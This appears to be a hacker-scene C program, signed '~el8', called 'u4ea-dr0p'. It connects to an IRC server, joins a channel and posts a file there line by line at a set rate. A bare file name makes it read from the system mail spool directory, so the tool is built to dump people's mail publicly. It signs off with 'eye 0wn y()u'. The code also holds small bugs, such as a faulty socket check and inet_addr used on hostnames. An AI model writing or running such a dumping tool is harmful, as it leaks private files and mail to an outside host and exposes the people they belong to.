/***********************************************
* released under (E) licensing ... *
* (E) RULES AND REGULATIONS *
* permission to use/rewrite/add : granted *
* permission to trojan/steal : denied *
* permission to use illegally : denied *
* permission to use on /dev/urandom : denied *
***********************************************/
/* contact el8@press.co.jp for full license */
/* code copyrighted by ~el8 -- don't infringe! */
/* uz4ge={ ./u4ea-dr0p 'file' 'lines' (per) 'second' 'serv(:port)' 'chan(:key)' }
./u4ea-dr0p bronclkm.c 5 5 irc.freei.net:6667 (\#)phrack
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <paths.h>
#include <fcntl.h>
#define USER "y00y blah@blah undernet :blah"
#define NICK "u4eadr0p"
extern int main (int argc, char **argv);
int
main (int argc, char **argv)
{
/* file lines timeout server:port chan:key */
struct sockaddr_in andwhat;
FILE *fp;
int ca;
char buff[200];
int i, port, s, o;
char *p0rt = (char *) NULL;
char *h0st = (char *) NULL;
char *argv4 = (char *) NULL;
char *argv5 = (char *) NULL;
char *chan = (char *) NULL;
char *key = (char *) NULL;
char mytempleofkodes[512];
char feh[1024];
char tempbUFF[255];
ca = port = i = 0;
if (argc != 6)
{
fprintf (stderr, "see src f()r us4gE, iF y()u d()n7 h4vE sr( g3t ~el8.\n");
exit (-1);
}
argv4 = strdup (argv[4]);
for (i = 0; i <= strlen (argv[4]); i++)
{
if (argv[4][i] == ':')
{
h0st = strtok (argv4, ":");
p0rt = strtok (NULL, "");
port = atoi (p0rt);
}
}
if (!h0st)
h0st = strdup (argv[4]);
printf ("%i\n", port);
if (h0st)
printf ("[hm %s]\n", h0st);
argv5 = strdup (argv[5]);
for (i = 0; i <= strlen (argv[5]); i++)
{
if (argv[5][i] == ':')
{
chan = strtok (argv5, ":");
key = strtok (NULL, "");
}
}
if (!chan)
chan = strdup (argv[5]);
printf ("%s %s\n", chan, key);
if (argv[1][0] == '/' || argv[1][0] == '.')
{
if ((fp = fopen (argv[1], "r")) == NULL)
{
perror ("fopen() ");
exit ((1 - 2));
}
}
else
{
bzero (&tempbUFF, sizeof tempbUFF);
snprintf (tempbUFF, sizeof tempbUFF,
"%s/%s", _PATH_MAILDIR, argv[1]);
if ((o = open (tempbUFF, O_RDONLY)))
{
close (o);
if ((fp = fopen (tempbUFF, "r")) == NULL)
perror (" f o p ennnn () \"");
if (fp == NULL)
if ((fp = fopen (argv[1], "r")) == NULL)
{
perror ("fopen() ");
exit ((1 - 2));
}
}
}
s = socket (AF_INET, SOCK_STREAM, 0);
if (!s)
{
perror ("socket() ");
exit (-1);
}
bzero (&andwhat, sizeof (struct sockaddr_in));
andwhat.sin_family = AF_INET;
andwhat.sin_port = port ? htons (port) : htons (6667);
andwhat.sin_addr.s_addr = port ? inet_addr (h0st) : inet_addr (argv[4]);
if (connect (s, (struct sockaddr *) &andwhat, sizeof (struct sockaddr)) < 0)
{
perror ("connect () ");
exit (-1);
}
if (!fork ())
{
for (;;)
{
bzero (&feh, sizeof feh);
if (recv (s, feh, sizeof (feh), 0) == 0)
break;
// puts (feh);
// fflush (stdout);
if (!strncmp (feh, "PING", 4))
{
feh[1] = 'O';
send (s, feh, strlen (feh), 0);
bzero (&feh, sizeof feh);
snprintf (feh, sizeof feh, "JOIN %s\r\n", chan);
send (s, feh, strlen (feh), 0);
}
}
}
bzero (&mytempleofkodes, sizeof mytempleofkodes);
snprintf (mytempleofkodes, sizeof mytempleofkodes,
"user %s\r\n", USER);
send (s, mytempleofkodes, strlen (mytempleofkodes), 0);
bzero (&mytempleofkodes, sizeof mytempleofkodes);
snprintf (mytempleofkodes, sizeof (mytempleofkodes),
"nick %s\r\n", NICK);
send (s, mytempleofkodes, strlen (mytempleofkodes), 0);
bzero (&mytempleofkodes, sizeof mytempleofkodes);
if (key != NULL)
snprintf (mytempleofkodes, sizeof mytempleofkodes,
"JOIN %s %s\r\n", chan, key);
else
snprintf (mytempleofkodes, sizeof mytempleofkodes,
"JOIN %s\r\n", chan);
sleep (1);
send (s, mytempleofkodes, strlen (mytempleofkodes), 0);
sleep (5);
for (;;)
{
bzero (&buff, sizeof buff);
bzero (&mytempleofkodes, sizeof mytempleofkodes);
// printf ("%i\n", ca);
if (ca == atoi (argv[2]))
{
// printf ("crap %i\n", ca);
ca = 0;
sleep (atoi (argv[3]));
}
if (fgets (buff, sizeof buff, fp) == NULL && !alarm (0))
{
bzero (&mytempleofkodes, sizeof mytempleofkodes);
snprintf (mytempleofkodes, sizeof mytempleofkodes,
"PRIVMSG %s :and that's all eye haveto say ab()ut that\r\n", chan);
send (s, mytempleofkodes, strlen (mytempleofkodes), 0);
bzero (&mytempleofkodes, sizeof mytempleofkodes);
snprintf (mytempleofkodes, sizeof mytempleofkodes,
"QUIT :eye 0wn y()u\r\n");
send (s, mytempleofkodes, strlen (mytempleofkodes), 0);
break;
}
ca += 1;
snprintf (mytempleofkodes, sizeof mytempleofkodes,
"PRIVMSG %s :%s\r\n", chan, buff);
send (s, mytempleofkodes, strlen (mytempleofkodes), 0);
}
fclose (fp);
close (2);
close (1);
close (0);
close (s);
return 0x1;
}
syntax highlighted by Code2HTML, v. 0.9.1